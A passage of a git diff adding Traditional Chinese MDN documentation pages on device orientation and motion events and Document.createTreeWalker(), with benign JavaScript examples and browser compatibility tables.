+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatGeckoMobile(52)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}[1][2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DataTransfer.items", "items")}} property</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <a href="http://caniuse.com/#search=drag">Partial support refers to not supporting {{domxref("DataTransfer.setDragImage()")}} [CanIUse.com].</a></p>
+
+<p>[2] Does not support {{domxref("DataTransfer.items")}} property.</p>
+
+<p>[3] As of Firefox 52, the {{domxref("DataTransfer.types")}} property returns a frozen array of {{domxref("DOMString")}}s as per spec, rather than a {{domxref("DOMStringList")}}.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/Web/Guide/HTML/Drag_and_drop">Drag and drop</a></li>
+ <li><a href="/Web/Guide/HTML/Drag_operations">Drag Operations</a></li>
+ <li><a href="/Web/Guide/HTML/Recommended_Drag_Types">Recommended Drag Types</a></li>
+ <li><a href="/Web/Guide/HTML/Dragging_and_Dropping_Multiple_Items">Dragging and Dropping Multiple Items</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/detecting_device_orientation/index.html b/files/zh-tw/web/api/detecting_device_orientation/index.html
new file mode 100644
index 0000000000..d81307ba57
--- /dev/null
+++ b/files/zh-tw/web/api/detecting_device_orientation/index.html
@@ -0,0 +1,278 @@
+---
+title: 偵測裝置方向
+slug: Web/API/Detecting_device_orientation
+translation_of: Web/API/Detecting_device_orientation
+---
+<div>{{SeeCompatTable}}</div>
+
+<p>目前支援 Web 的裝置，已有越來越多可偵測本身的方向（<strong>Orientation</strong>）；也就是說，這些裝置可根據重力牽引的相對關係而改變其畫面方向，同時回報該筆資料。特別是如行動電話的手持式裝置，同樣會判斷這種資訊而自動旋轉其畫面。如此除了能保持正向畫面之外，裝置橫放時亦能以寬螢幕呈現網頁內容。</p>
+
+<p>現有 2 組 JavaScript 事件可處理方向資訊。第一個是 {{domxref("DeviceOrientationEvent")}} 事件。只要加速規偵測到裝置方向的變化，隨即送出此事件。在接收並處理這些方向事件所回報的資料之後，即可針對使用者移動裝置所造成的方向與高度變化，確實做出回應。</p>
+
+<p>第二個為 {{domxref("DeviceMotionEvent")}} 事件。只要加速過程產生變化，隨即送出該事件。此事件用以監聽加速過程的變化，因此不同於 {{domxref("DeviceOrientationEvent")}} 的方向變化。如筆記型電腦中的感測器，一般均能夠偵測 {{domxref("DeviceMotionEvent")}} 而保護移動中的儲存裝置。{{domxref("DeviceOrientationEvent")}} 則較常用於行動裝置。</p>
+
+<h2 id="處理方向事件">處理方向事件</h2>
+
+<p>若要開始接收方向變換的情形，只要監聽 {{event("deviceorientation")}} 事件即可：</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://github.com/dorukeker/gyronorm.js">gyronorm.js</a> is a polyfill for normalizing the accelerometer and gyroscope data on mobile devices. This is useful for overcoming some of the differences in device support for device orientation.</p>
+</div>
+
+<pre class="brush: js">window.addEventListener("deviceorientation", handleOrientation, true);
+</pre>
+
+<p>在註冊了事件監聽器（Event listener。本範例使用 <code>handleOrientation()</code> 函式）之後，將以更新過的方向資料而定期呼叫你的監聽器函式。</p>
+
+<p>方向事件共有 4 組值：</p>
+
+<ul>
+ <li>{{ domxref("DeviceOrientationEvent.absolute") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent.alpha") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent.beta") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent.gamma") }}</li>
+</ul>
+
+<p>事件處理器（Event handler）函式則如下列：</p>
+
+<pre class="brush: js">function handleOrientation(event) {
+  var absolute = event.absolute;
+  var alpha    = event.alpha;
+  var beta     = event.beta;
+  var gamma    = event.gamma;
+
+  // Do stuff with the new orientation data
+}
+</pre>
+
+<h3 id="方向值說明">方向值說明</h3>
+
+<p>所回報的各個軸線值，均是以標準座標而呈現對應各軸線的旋轉量 (Amount of rotation)。可參閱下方所提供的<a href="/DOM/Orientation_and_motion_data_explained" title="Orientation and motion data explained">方向與動向資料說明</a>文章以獲得詳細資訊。</p>
+
+<ul>
+ <li>{{domxref("DeviceOrientationEvent.alpha")}} 值為裝置的 z 軸動向 (Motion)，介於 0 ~ 360 度之間。</li>
+ <li>{{domxref("DeviceOrientationEvent.beta")}} 值為裝置的 x 軸動向，介於 -180 ~ 180 度之間，代表裝置的前後動向。</li>
+ <li>{{domxref("DeviceOrientationEvent.gamma")}} 值為裝置的 y 軸動向，介於 -90 ~ 90 度之間，代表裝置的左右動向。</li>
+</ul>
+
+<h3 id="方向範例">方向範例</h3>
+
+<p>只要瀏覽器支援 {{event("deviceorientation")}} 事件，且該執行裝置可偵測自己的方向，均可使用此範例。</p>
+
+<p>先想像花園裡有 1 顆球：</p>
+
+<pre class="brush: html">&lt;div class="garden"&gt;
+  &lt;div class="ball"&gt;&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;pre class="output"&gt;&lt;/pre&gt;
+</pre>
+
+<p>這座花園為 200 像素寬（對，一座小花園），球就位在正中央：</p>
+
+<pre class="brush: css">.garden {
+  position: relative;
+  width : 200px;
+  height: 200px;
+  border: 5px solid #CCC;
+  border-radius: 10px;
+}
+
+.ball {
+  position: absolute;
+  top   : 90px;
+  left  : 90px;
+  width : 20px;
+  height: 20px;
+  background: green;
+  border-radius: 100%;
+}
+</pre>
+
+<p>現在只要移動裝置，球也會跟著移動：</p>
+
+<pre class="brush: js">var ball   = document.querySelector('.ball');
+var garden = document.querySelector('.garden');
+var output = document.querySelector('.output');
+
+var maxX = garden.clientWidth  - ball.clientWidth;
+var maxY = garden.clientHeight - ball.clientHeight;
+
+function handleOrientation(event) {
+  var x = event.beta;  // In degree in the range [-180,180]
+  var y = event.gamma; // In degree in the range [-90,90]
+
+  output.innerHTML  = "beta : " + x + "\n";
+  output.innerHTML += "gamma: " + y + "\n";
+
+  // Because we don't want to have the device upside down
+  // We constrain the x value to the range [-90,90]
+  if (x &gt;  90) { x =  90};
+  if (x &lt; -90) { x = -90};
+
+  // To make computation easier we shift the range of
+  // x and y to [0,180]
+  x += 90;
+  y += 90;
+
+  // 10 is half the size of the ball
+  // It center the positioning point to the center of the ball
+  ball.style.top  = (maxX*x/180 - 10) + "px";
+  ball.style.left = (maxY*y/180 - 10) + "px";
+}
+
+window.addEventListener('deviceorientation', handleOrientation);
+</pre>
+
+<p>這裡有即時結果 (若無法顯示，可至本文右上角切換回英文原文觀看)：</p>
+
+<div>{{EmbedLiveSample('Orientation_example', '230', '260')}}</div>
+
+<div class="warning">
+<p><strong>警告：</strong>Chrome 與 Firefox 處理角度的方式不同，所以某些軸線可能方向顛倒。</p>
+</div>
+
+<h2 id="處理動向事件">處理動向事件</h2>
+
+<p>動向事件與方向事件的處理方式完全相同，但動向事件擁有自己的名稱：{{event("devicemotion")}}</p>
+
+<pre class="brush: js">window.addEventListener("devicemotion", <em>handleMotion</em>, true);</pre>
+
+<p>真正改變的是由 {{domxref("DeviceMotionEvent")}} 物件所提供的資訊；且該物件又作為 <em>HandleMotion</em> 函式的參數。</p>
+
+<p>動向事件共有 4 組屬性：</p>
+
+<ul>
+ <li>{{ domxref("DeviceMotionEvent.acceleration") }}</li>
+ <li>{{ domxref("DeviceMotionEvent.accelerationIncludingGravity") }}</li>
+ <li>{{ domxref("DeviceMotionEvent.rotationRate") }}</li>
+ <li>{{ domxref("DeviceMotionEvent.interval") }}</li>
+</ul>
+
+<h3 id="動向值說明">動向值說明</h3>
+
+<p>{{domxref("DeviceMotionEvent")}} 物件將提供「裝置位置與方向的變化速度」的相關資訊，並根據 3 組軸線 (可參閱<a href="/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" title="/en-US/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained">方向與動向資料說明</a>的細節) 提供變化情形。</p>
+
+<p>針對 {{domxref("DeviceMotionEvent.acceleration","acceleration")}} 與 {{domxref("DeviceMotionEvent.accelerationIncludingGravity","accelerationIncludingGravity")}}，這些軸線將對應：</p>
+
+<ul>
+ <li><code>x</code><code>：代表由東至西的軸線</code></li>
+ <li><code>y</code><code>：代表由南至北的軸線</code></li>
+ <li><code>z</code><code>：代表與地面垂直的軸線</code></li>
+</ul>
+
+<p>針對稍有差異的 {{domxref("DeviceMotionEvent.rotationRate","rotationRate")}}，則資訊將對應：</p>
+
+<ul>
+ <li><code>alpha</code><code>：代表與螢幕 </code>(或桌機的鍵盤) <code>垂直的軸線之旋轉率</code></li>
+ <li><code>beta</code><code>：代表與螢幕平面 </code>(或桌機的鍵盤) 由左至右軸線之旋轉率</li>
+ <li><code>gamma</code><code>：代表與螢幕平面 </code>(或桌機的鍵盤) 由下至上軸線之旋轉率</li>
+</ul>
+
+<p>最後，{{domxref("DeviceMotionEvent.interval","interval")}} 代表以毫秒（Millisecond）為單位的時間間隔，是裝置取得資料的頻率。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceOrientationEvent")}}</td>
+   <td>7.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.6<sup>[1]</sup><br>
+    6</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceMotionEvent")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceOrientationEvent")}}</td>
+   <td>3.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.6<sup>[1]</sup><br>
+    6</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.2</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceMotionEvent")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 3.6 to 5 supported <a href="/en-US/docs/Web/Events/MozOrientation">mozOrientation</a> versus the standard {{domxref("DeviceOrientationEvent")}} event.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("DeviceOrientationEvent")}}</li>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>舊版 <a href="/docs/Web/Events/MozOrientation" title="en-US/DOM/MozOrientation">MozOrientation</a> 事件</li>
+ <li><a href="/docs/Web/Guide/DOM/Events/Orientation_and_motion_data_explained" title="Orientation and motion data explained">方向與動向資料說明</a></li>
+ <li><a href="/docs/Web/Guide/DOM/Events/Using_device_orientation_with_3D_transforms" title="Using Deviceorientation In 3D Transforms">於 3D Transforms 中使用 deviceorientation</a></li>
+ <li><a href="/docs/Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation">Cyber Orb: 2D maze game with device orientation</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/devicemotionevent/index.html b/files/zh-tw/web/api/devicemotionevent/index.html
new file mode 100644
index 0000000000..f21723a1e3
--- /dev/null
+++ b/files/zh-tw/web/api/devicemotionevent/index.html
@@ -0,0 +1,116 @@
+---
+title: DeviceMotionEvent
+slug: Web/API/DeviceMotionEvent
+translation_of: Web/API/DeviceMotionEvent
+---
+<p>{{apiref("Device Orientation Events")}}{{SeeCompatTable}}</p>
+
+<h2 id="概要">概要</h2>
+
+<p><code>DeviceMotionEvent</code> 提供了網頁開發者關於裝置位置及旋轉方向改變時的速度資訊。</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> Currently, Firefox and Chrome does not handle the coordinates the same way. Take care about this while using them.</p>
+</div>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("DeviceMotionEvent.acceleration")}} {{readonlyinline}}</dt>
+ <dd>An object giving the acceleration of the device on the three axis X, Y and Z. Acceleration is expressed in <a href="https://en.wikipedia.org/wiki/Meter_per_second_squared" title="https://en.wikipedia.org/wiki/Meter_per_second_squared">m/s<sup>2</sup></a>.</dd>
+ <dt>{{domxref("DeviceMotionEvent.accelerationIncludingGravity")}} {{readonlyinline}}</dt>
+ <dd>An object giving the acceleration of the device on the three axis X, Y and Z with the effect of gravity. Acceleration is expressed in <a href="https://en.wikipedia.org/wiki/Meter_per_second_squared" title="https://en.wikipedia.org/wiki/Meter_per_second_squared">m/s<sup>2</sup></a>.</dd>
+ <dt>{{domxref("DeviceMotionEvent.rotationRate")}} {{readonlyinline}}</dt>
+ <dd>An object giving the rate of change of the device's orientation on the three orientation axis alpha, beta and gamma. Rotation rate is express in degrees per seconds.</dd>
+ <dt>{{domxref("DeviceMotionEvent.interval")}} {{readonlyinline}}</dt>
+ <dd>A number representing the interval of time, in milliseconds, at which data is obtained from the device.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">window.addEventListener('devicemotion', function(event) {
+  console.log(event.acceleration.x + ' m/s2');
+});</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6")}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{ event("deviceorientation") }}</li>
+ <li>{{ domxref("DeviceMotionEvent") }}</li>
+ <li>{{ event("devicemotion") }}</li>
+ <li><a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">Detecting device orientation</a></li>
+ <li><a href="https://developer.mozilla.org/en/DOM/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/deviceorientationevent/index.html b/files/zh-tw/web/api/deviceorientationevent/index.html
new file mode 100644
index 0000000000..38bc8f5261
--- /dev/null
+++ b/files/zh-tw/web/api/deviceorientationevent/index.html
@@ -0,0 +1,122 @@
+---
+title: DeviceOrientationEvent
+slug: Web/API/DeviceOrientationEvent
+translation_of: Web/API/DeviceOrientationEvent
+---
+<p>{{apiref("Device Orientation Events")}}{{SeeCompatTable}}</p>
+
+<p><code>DeviceOrientationEvent</code> 提供了網頁開發者關於目前瀏覽頁面之裝置的物理旋轉方向資訊。</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> Currently, Firefox and Chrome do not handle the coordinates the same way. Take care about this while using them.</p>
+</div>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("DeviceOrientationEvent.absolute")}} {{readonlyinline}}</dt>
+ <dd>A boolean that indicates whether or not the device is providing orientation data absolutely.</dd>
+ <dt>{{domxref("DeviceOrientationEvent.alpha")}} {{readonlyinline}}</dt>
+ <dd>A number representing the motion of the device around the z axis, express in degrees with values ranging from 0 to 360</dd>
+ <dt>{{domxref("DeviceOrientationEvent.beta")}} {{readonlyinline}}</dt>
+ <dd>A number representing the motion of the device around the x axis, express in degrees with values ranging from -180 to 180. This represents a front to back motion of the device.</dd>
+ <dt>{{domxref("DeviceOrientationEvent.gamma")}} {{readonlyinline}}</dt>
+ <dd>A number representing the motion of the device around the y axis, express in degrees with values ranging from -90 to 90. This represents a left to right motion of the device.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">window.addEventListener('deviceorientation', function(event) {
+  console.log(event.alpha + ' : ' + event.beta + ' : ' + event.gamma);
+});</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7.0 [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6 [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6 [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.2</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before version 50, Chrome provided absolute values instead of relative values for this event. Developers still needing absolute values may use the {{domxref("ondeviceorientationabsolute")}} event.</p>
+
+<p>[2] Firefox 3.6, 4, and 5 supported <a href="/en-US/DOM/MozOrientation">mozOrientation </a>instead of the standard <code>DeviceOrientationEvent</code> interface</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{ event("deviceorientation") }}</li>
+ <li>{{ domxref("DeviceMotionEvent") }}</li>
+ <li>{{ event("devicemotion") }}</li>
+ <li><a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">Detecting device orientation</a></li>
+ <li><a href="https://developer.mozilla.org/en/DOM/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/document.createtreewalker/index.html b/files/zh-tw/web/api/document.createtreewalker/index.html
new file mode 100644
index 0000000000..9e74411a14
--- /dev/null
+++ b/files/zh-tw/web/api/document.createtreewalker/index.html
@@ -0,0 +1,224 @@
+---
+title: Document.createTreeWalker()
+slug: Web/API/document.createTreeWalker
+translation_of: Web/API/Document/createTreeWalker
+---
+<div>
+ {{ApiRef("Document")}}</div>
+<p><strong><code>Document.createTreeWalker()</code></strong> 方法，能建立一個 {{domxref("TreeWalker")}} 物件並傳回.</p>
+<h2 id="Syntax" name="Syntax">語法</h2>
+<pre class="syntaxbox"><em>treeWalker</em> = <em>document</em>.createTreeWalker(<em>root</em>, <em>whatToShow</em>, <em>filter</em>, <em>entityReferenceExpansion</em>);
+</pre>
+<h3 id="參數">參數</h3>
+<dl>
+ <dt>
+  <em>root </em></dt>
+ <dd>
+  是這個 {{domxref("TreeWalker")}} 遍歷的根節點(root {{domxref("Node")}}). Typically this will be an element owned by the document.</dd>
+ <dt>
+  <em>whatToShow {{optional_inline}}</em></dt>
+ <dd>
+  Is an optional <code>unsigned long</code> representing a bitmask created by combining the constant properties of <code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter" title="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>. 它是一種方便的方法，用來過濾某些類型的節點。 It defaults to <code>0xFFFFFFFF</code> representing the <code>SHOW_ALL</code> constant.<br>
+  <table class="standard-table">
+   <tbody>
+    <tr>
+     <td class="header">Constant</td>
+     <td class="header">數值</td>
+     <td class="header">說明</td>
+    </tr>
+    <tr>
+     <td><code>NodeFilter.SHOW_ALL</code></td>
+     <td><code>-1</code> (that is the max value of <code>unsigned long</code>)</td>
+     <td>顯示所有節點.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+     <td><code>2</code></td>
+     <td>Shows attribute {{ domxref("Attr") }} nodes. This is meaningful only when creating a {{ domxref("TreeWalker") }} with an {{ domxref("Attr") }} node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal. Since attributes are never children of other nodes, they do not appear when traversing over the document tree.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+     <td><code>8</code></td>
+     <td>Shows {{ domxref("CDATASection") }} nodes.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_COMMENT</code></td>
+     <td><code>128</code></td>
+     <td>Shows {{ domxref("Comment") }} nodes.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_DOCUMENT</code></td>
+     <td><code>256</code></td>
+     <td>Shows {{ domxref("Document") }} nodes.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_DOCUMENT_FRAGMENT</code></td>
+     <td><code>1024</code></td>
+     <td>Shows {{ domxref("DocumentFragment") }} nodes.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_DOCUMENT_TYPE</code></td>
+     <td><code>512</code></td>
+     <td>Shows {{ domxref("DocumentType") }} nodes.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_ELEMENT</code></td>
+     <td><code>1</code></td>
+     <td>Shows {{ domxref("Element") }} nodes.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_ENTITY</code> {{deprecated_inline}}</td>
+     <td><code>32</code></td>
+     <td>Shows {{ domxref("Entity") }} nodes. This is meaningful only when creating a {{ domxref("TreeWalker") }} with an {{ domxref("Entity") }} node as its root; in this case, it means that the {{ domxref("Entity") }} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+     <td><code>16</code></td>
+     <td>Shows {{ domxref("EntityReference") }} nodes.</td>
+    </tr>
+    <tr>
+     <td><code><code><code>NodeFilter.</code></code>SHOW_NOTATION</code> {{deprecated_inline}}</td>
+     <td><code>2048</code></td>
+     <td>Shows {{ domxref("Notation") }} nodes. This is meaningful only when creating a {{ domxref("TreeWalker") }} with a {{ domxref("Notation") }} node as its root; in this case, it means that the {{ domxref("Notation") }} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_PROCESSING_INSTRUCTION</code></td>
+     <td><code>64</code></td>
+     <td>Shows {{ domxref("ProcessingInstruction") }} nodes.</td>
+    </tr>
+    <tr>
+     <td><code><code>NodeFilter.</code>SHOW_TEXT</code></td>
+     <td><code>4</code></td>
+     <td>顯示文字節點({{ domxref("Text") }} nodes).</td>
+    </tr>
+   </tbody>
+  </table>
+ </dd>
+ <dt>
+  <em>filter <em>{{optional_inline}}</em></em></dt>
+ <dd>
+  是一個可選的 {{domxref("NodeFilter")}}, 這是一個物件有著 <code>acceptNode</code> 方法, 這方法被 {{domxref("TreeWalker")}} 呼叫來決定是否接受通過 <code>whatToShow</code> 檢查的節點.</dd>
+ <dt>
+  <em>entityReferenceExpansion<em> {{optional_inline}}</em></em> <em>{{obsolete_inline}}</em></dt>
+ <dd>
+  Is a {{domxref("Boolean")}} flag indicating if when discarding an {{domxref("EntityReference")}} its whole sub-tree must be discarded at the same time.</dd>
+</dl>
+<h2 id="Example" name="Example">Example</h2>
+<p>The following example goes through all nodes in the body, reduces the set of nodes to elements, simply passes through as acceptable each node (it could reduce the set in the <code>acceptNode()</code> method instead), and then makes use of tree walker iterator that is created to advance through the nodes (now all elements) and push them into an array.</p>
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+  document.body,
+  NodeFilter.SHOW_ELEMENT,
+  { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+  false
+);
+
+var nodeList = [];
+
+while(treeWalker.nextNode()) nodeList.push(treeWalker.currentNode);
+</pre>
+<h2 id="Specification" name="Specification">Specifications</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the <code>expandEntityReferences</code> parameter.<br>
+    Made the <code>whatToShow</code> and <code>filter</code> parameters optionals.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>1.0</td>
+    <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+    <td>9.0</td>
+    <td>9.0</td>
+    <td>3.0</td>
+   </tr>
+   <tr>
+    <td><code>whatToShow</code> and <code>filter</code> optional</td>
+    <td>1.0</td>
+    <td>{{CompatGeckoDesktop("12")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>3.0</td>
